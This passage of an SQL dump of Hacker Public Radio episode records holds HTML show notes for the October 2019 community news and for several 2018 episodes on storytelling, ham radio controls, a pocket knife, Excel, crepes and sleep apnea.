target=\"_blank\">hpr2910</a></strong>\n(2019-09-27) \"<em>Better Social Media 02 - Pluspora</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2910#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2019-09-27:\n\"Nice show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 1 show which was without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n<h3 id=\"change-to-the-missing-tags-document\">Change to the Missing Tags document</h3>\n<p>The section of this document which lists all of the tags currently in the system has been made more accessible. If you know of a tag in the system and you want to find out how many instances there are and which shows use them you can construct a query of the form:</p>\n<pre><code>https://hackerpublicradio.org/report_missing_tags.php#vim</code></pre>\n<p>This would look for the tag <code>\'vim\'</code> and position the page at the relevant place.</p>\n<p>If the tag you are looking for contains spaces, you need to replace them with underscores. So to look for the tag <code>\'vietnamese stringed instruments\'</code> your query would have to be:</p>\n<pre><code>https://hackerpublicradio.org/report_missing_tags.php#vietnamese_stringed_instruments</code></pre>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2936,'2019-11-04','HPR Community News for October 2019',2514,'Ken discusses last months shows and talks about OggCamp, FLOSS Weekly, FOSDEM, and Star Wars.','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2912\" target=\"_blank\">2912</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-10-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2912\" target=\"_blank\">Stardrifter RPG Playtest Part 06</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2913\" target=\"_blank\">2913</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-10-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2913\" target=\"_blank\">Windows, SDN, and Firewalls</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=231\" target=\"_blank\">Beto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2914\" target=\"_blank\">2914</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-10-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2914\" target=\"_blank\">Describing how I listen to podcasts PART 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2915\" target=\"_blank\">2915</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2915\" target=\"_blank\">Intro - My Recording Setup</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2916\" target=\"_blank\">2916</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-10-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2916\" target=\"_blank\">HPR Community News for September 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2917\" target=\"_blank\">2917</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-10-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2917\" target=\"_blank\">Stardrifter RPG Playtest Part 07</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2918\" target=\"_blank\">2918</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-10-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2918\" target=\"_blank\">Selecting random item from weighted list</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2919\" target=\"_blank\">2919</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-10-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2919\" target=\"_blank\">hosting software in HPR show notes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2920\" target=\"_blank\">2920</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2920\" target=\"_blank\">Better Social Media 03 - MeWe</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2921\" target=\"_blank\">2921</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-10-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2921\" target=\"_blank\">Geocaching with the family</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2922\" target=\"_blank\">2922</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-10-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2922\" target=\"_blank\">Stardrifter RPG Playtest Part 08</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2923\" target=\"_blank\">2923</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-10-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2923\" target=\"_blank\">Describing how I listen to podcasts PART 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2924\" target=\"_blank\">2924</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-10-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2924\" target=\"_blank\">Hacking an Alarm Clock to Make it Quieter</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2925\" target=\"_blank\">2925</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2925\" target=\"_blank\">LinuxLugCast\'s Memorial for FiftyOneFifty </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2926\" target=\"_blank\">2926</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-10-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2926\" target=\"_blank\">Full Circle Magazine</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2927\" target=\"_blank\">2927</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-10-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2927\" target=\"_blank\">Stardrifter RPG Playtest Part 09</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2928\" target=\"_blank\">2928</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-10-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2928\" target=\"_blank\">Building markov chains with Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2929\" target=\"_blank\">2929</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-10-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2929\" target=\"_blank\">Recovering Files from a Dead MacBook Air</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2930\" target=\"_blank\">2930</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-10-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2930\" target=\"_blank\">Better Social Media 04 - Diaspora</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2931\" target=\"_blank\">2931</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-10-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2931\" target=\"_blank\">Wallabag for on premises article aggregation</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2932\" target=\"_blank\">2932</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-10-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2932\" target=\"_blank\">Stardrifter RPG Playtest Part 10</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2933\" target=\"_blank\">2933</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-10-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2933\" target=\"_blank\">A walk through my PifaceCAD Python code – Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2934\" target=\"_blank\">2934</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-10-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2934\" target=\"_blank\">Server Basics 106: Namespaces and containers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2895#comments\" target=\"_blank\">hpr2895</a></strong>\n(2019-09-06) \"<em>The work of fire fighters, part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2895#3\" target=\"_blank\">Comment 3</a>:\nDon on 2019-10-20:\n\"great podcast\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2900#comments\" target=\"_blank\">hpr2900</a></strong>\n(2019-09-13) \"<em>Better Social Media 01 - Introduction</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2900#1\" target=\"_blank\">Comment 1</a>:\nJeroen baten on 2019-10-05:\n\"Hope you will find time to discuss Okuna\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2900#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2019-10-05:\n\"No plans for now\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2906#comments\" target=\"_blank\">hpr2906</a></strong>\n(2019-09-23) \"<em>Feature Engineering for Data-Driven Decision Making</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2906#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2019-10-08:\n\"Love the idea here...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2909#comments\" target=\"_blank\">hpr2909</a></strong>\n(2019-09-26) \"<em>ONICS Basics Part 3:  Networking Fundamentals</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2909#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2019-10-08:\n\"Thanks for the feedback\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2909#3\" target=\"_blank\">Comment 3</a>:\ngerryk on 2019-10-17:\n\"Yet another top episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2911#comments\" target=\"_blank\">hpr2911</a></strong>\n(2019-09-30) \"<em>my internet connection</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2911#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2019-10-05:\n\"HPR 2911\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 7 comments on 5 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2913#comments\" target=\"_blank\">hpr2913</a></strong>\n(2019-10-02) \"<em>Windows, SDN, and Firewalls</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=231\" target=\"_blank\">Beto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2913#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2019-10-02:\n\"+1 on Chocolatey Recommendation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2915#comments\" target=\"_blank\">hpr2915</a></strong>\n(2019-10-04) \"<em>Intro - My Recording Setup</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2915#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-10-04:\n\"More shows on ....\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2921#comments\" target=\"_blank\">hpr2921</a></strong>\n(2019-10-14) \"<em>Geocaching with the family</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2921#1\" target=\"_blank\">Comment 1</a>:\njezra on 2019-10-17:\n\"what a fun adventure\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2921#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2019-10-17:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2925#comments\" target=\"_blank\">hpr2925</a></strong>\n(2019-10-18) \"<em>LinuxLugCast\'s Memorial for FiftyOneFifty </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2925#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2019-10-19:\n\"I Never Met Fifty, But I Knew Him\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2928#comments\" target=\"_blank\">hpr2928</a></strong>\n(2019-10-23) \"<em>Building markov chains with Haskell</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2928#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2019-10-29:\n\"Thanks for this episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2928#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2019-10-31:\n\"thanks for the feedback!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"floss-weekly\">FLOSS Weekly</h3>\n<p><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a> appeared on FLOSS Weekly <a href=\"https://twit.tv/shows/floss-weekly/episodes/553?autostart=false\">Episode 553</a> on October 30<sup>th</sup> 2019 to talk about Hacker Public Radio.</p>\n<h3 id=\"oggcamp-2019\">OggCamp 2019</h3>\n<p>There was an HPR presence at OggCamp 2019. This was held at The Manchester Conference Centre during the weekend of October 19<sup>th</sup> and 20<sup>th</sup> 2019. We had an HPR table, which was manned by many HPR hosts and received many visitors. Ken recorded interviews which will be released later in November.</p>\n<h3 id=\"fosdem-2020\">FOSDEM 2020</h3>\n<p>A request has been made to get a Podcasters table at FOSDEM 2020.</p>\n<h3 id=\"hpr-on-podcast-networks\">HPR on podcast networks</h3>\n<p>We need some help getting HPR on Google Podcasts, Stitcher, Soundcloud, etc.</p>\n<h3 id=\"ken-versus-espeak\">Ken versus <em>espeak</em></h3>\n<p>Which is preferable, the <em>espeak</em> show summary or Ken’s new reading of the information?</p>\n<h3 id=\"watching-star-wars-for-the-first-time\">Watching Star Wars for the first time</h3>\n<p>A question: should it be watched in Episode or Production Order?</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>There were no tag or summary updates in the past month.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2643,'2018-09-19','The Payoff In Storytelling',677,'A brief look at the emotional structure of story endings.','<p>Lostnbronx takes a quick look at how story endings need to be structured in order to be satisfying. Lots of endings are possible, but they don’t all require the same treatment. Some can be abrupt, some can be sad, but all of them need to meet certain emotional expectations.</p>\r\n',107,105,0,'CC-0','stories,storytelling,endings,lostnbronx',0,0,1),
(2644,'2018-09-20','Error on show 2642',59,'Error error','<p>The right podcast is:</p>\r\n<ul>\r\n<li><strong>Kvalificerat Hemligt</strong> <a href=\"https://feeds.soundcloud.com/users/soundcloud:users:167287536/sounds.rss\" class=\"uri\">https://feeds.soundcloud.com/users/soundcloud:users:167287536/sounds.rss</a></li>\r\n</ul>',309,75,0,'CC-BY-SA','podcast, swedish, correction',0,0,1),
(2648,'2018-09-26','Explaining the controls on my Amateur HF Radio Part 1',1646,'I attempt to explain the controls on my Kenwood TS940S HF Amateur Radio.','<p>In this episode, I cover the transmit section controls.</p>\r\n<h2 id=\"related-links-for-the-ts940s-amateur-hf-radio\">Related links for the TS940S Amateur HF Radio</h2>\r\n<ul>\r\n<li><p>TS940 Overview<br />\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/ts940s.html\" class=\"uri\">https://www.universal-radio.com/catalog/hamhf/ts940s.html</a></p></li>\r\n<li><p>TS940 Review<br />\r\n<a href=\"https://www.eham.net/reviews/detail/239\" class=\"uri\">https://www.eham.net/reviews/detail/239</a></p></li>\r\n<li><p>TS940 User Manual<br />\r\n<a href=\"https://www.radiomanual.info/schemi/TS940_user.pdf\" class=\"uri\">https://www.radiomanual.info/schemi/TS940_user.pdf</a></p></li>\r\n</ul>\r\n<h3 id=\"further-info-and-clarification\">Further info and clarification</h3>\r\n<p>Below I’ll cover some of the items I missed or didn’t understand when I recorded my off the cuff episode. If I miss something you may find it in the user manual link above.</p>\r\n<p>Full and Semi break-in mode is used when operating in CW mode (Morse Code). In full break-in mode the radio jumps back into receive the moment the mores key is released this way you can hear if the station is trying to contact in-between each press of the key. This is very demanding on the radio as it must switch very quickly back into receive mode it can also be distracting for the operator hearing hissing noise between each dot and dash. Semi break-in mode is a bit like using VOX mode in speech the radio goes silent between each dot and dash but will return to receive after the mores key is released for a predetermined time interval.</p>\r\n<p>The digital display used on the main display of the TS940S is apparently a Vacuum Fluorescent Display not the more usual LED of the time.</p>\r\n<p>The TS 940S was manufactured around 1986, so unbelievably that means my wonderful radio that to me looks fairly modern is around 30 years Old! I believe this HF radio was top of the line for Kenwood back then.</p>\r\n<p>The Auto and thru button is used to connect the auto tuner in line with the antenna. When AUTO is selected the radio is connected to the Auto internal tuner and then to the antenna. In THRU the radio bypasses the auto tuner and connects the radio directly to the antenna.</p>\r\n<h3 id=\"the-speech-compressor\">The Speech Compressor</h3>\r\n<p>During SSB operation it is desirable to increase the relative “talk power” of the transceiver by using speech processor circuitry. The speech processor control is set by using the in and out rotary control. The in control level is set by putting the meter into Comp and adjusting the in control to no more than 10 dB of compression. The out control level is set by putting the meter into ALC and adjusting the out control to ensure the meter stays within the ALC section of the meter.</p>\r\n<p>IC meter position indicates the power transistor collector current</p>\r\n<p>VC meter position indicates the power transistor collector voltage</p>\r\n<p>Noise Blanker 1 (NB1)<br />\r\nFor pulse type noise, such as generated by automatic ignition systems.</p>\r\n<p>Noise Blanker 2 (NB2)<br />\r\nFor long duration pulse noise, like the Russian woodpecker.</p>',201,43,1,'CC-BY-SA','Amateur, Radio, Ham',0,0,1),
(2650,'2018-09-28','My Pocket Knife',505,'Shane talks about his pocket knife for a few minutes.','<p>\r\nThe pocket knife Shane talks about is the Number 6 knife made by the French company Opinel, It costs about $20 (Canadian). This version has a walnut handle.\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2650.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2650-small.jpg\" alt=\"Opinel pocket knife with ham and cheese sandwich\"/>\r\n</a>\r\n</p>\r\n',250,23,0,'CC-BY-SA','lock knife,Opinel knife',0,0,1),
(2653,'2018-10-03','Using the EXACT Function in Excel',199,'Shane explains that he just learned a simple and useful Excel function.','<p>The function looks like <code>=EXACT(A1,D1)</code> and its purpose is to tell you if <code>A1</code> contains the exact same value as <code>D1</code> or not.</p>\r\n',250,0,0,'CC-BY-SA','Excel',0,0,1),
(2654,'2018-10-04','Making Crepes',767,'Shane makes crepes from a simple recipe. ','<h2 id=\"crepe-recipe\">Crepe Recipe:</h2>\r\n<ul>\r\n<li>1 cup of flour</li>\r\n<li>1 cup of milk</li>\r\n<li>1 egg</li>\r\n<li>1 pinch of salt</li>\r\n</ul>\r\n<h3 id=\"cinnamon-sugar-mixture-recipe\">Cinnamon Sugar Mixture Recipe:</h3>\r\n<ul>\r\n<li>1 part cinnamon (or less)</li>\r\n<li>8 parts sugar</li>\r\n</ul>\r\n',250,93,0,'CC-BY-SA','crepes, cooking, parenting',0,0,1),
(2655,'2018-10-05','Sleep Apnea and Afib',705,'How Sleep Apnea and Atrial Fibrillation entered my life','<p>The last of my personal health issue shows covers two related issues, Sleep Apnea and Atrial Fibrillation. They are related because Sleep Apnea is a cause of Atrial Fibrillation. Fortunately both can be controlled if you follow medical directions.</p>\r\n<ul>\r\n<li><a href=\"https://www.mayoclinic.org/diseases-conditions/sleep-apnea/symptoms-causes/syc-20377631\" class=\"uri\">https://www.mayoclinic.org/diseases-conditions/sleep-apnea/symptoms-causes/syc-20377631</a></li>\r\n<li><a href=\"https://www.heart.org/en/health-topics/atrial-fibrillation/what-is-atrial-fibrillation-afib-or-af\" class=\"uri\">https://www.heart.org/en/health-topics/atrial-fibrillation/what-is-atrial-fibrillation-afib-or-af</a></li>\r\n<li><a href=\"https://www.mayoclinic.org/diseases-conditions/sleep-apnea/symptoms-causes/syc-20377631\" class=\"uri\">https://www.mayoclinic.org/diseases-conditions/sleep-apnea/symptoms-causes/syc-20377631</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=352\" class=\"uri\">https://www.palain.com/?page_id=352</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Medicine, Apnea, Heart, Afib, Atrial Fibrillation',0,0,1),
(2656,'2018-10-08','Explaining the controls on my Amateur HF Radio Part 2',844,'In this episode I cover the mode and frequency selection controls of my Kenwood TS 940S','<h2 id=\"radio-mode-and-frequency-controls-on-amateur-hf-radio-ts940s\">Radio Mode and frequency controls on Amateur HF Radio TS940S</h2>\r\n<ul>\r\n<li><p>UK HF band plan information<br />\r\n<a href=\"https://rsgb.org/main/operating/band-plans/hf/\" class=\"uri\">https://rsgb.org/main/operating/band-plans/hf/</a></p></li>\r\n<li><p>Morse code (CW), Carrier Wave<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Morse_code\" class=\"uri\">https://en.wikipedia.org/wiki/Morse_code</a></p></li>\r\n<li><p>Article about Sideband, including Lower Side Band (LSB) and Upper Side Band (USB)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Sideband\" class=\"uri\">https://en.wikipedia.org/wiki/Sideband</a></p></li>\r\n<li><p>Amplitude Modulation (AM)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Amplitude_modulation\" 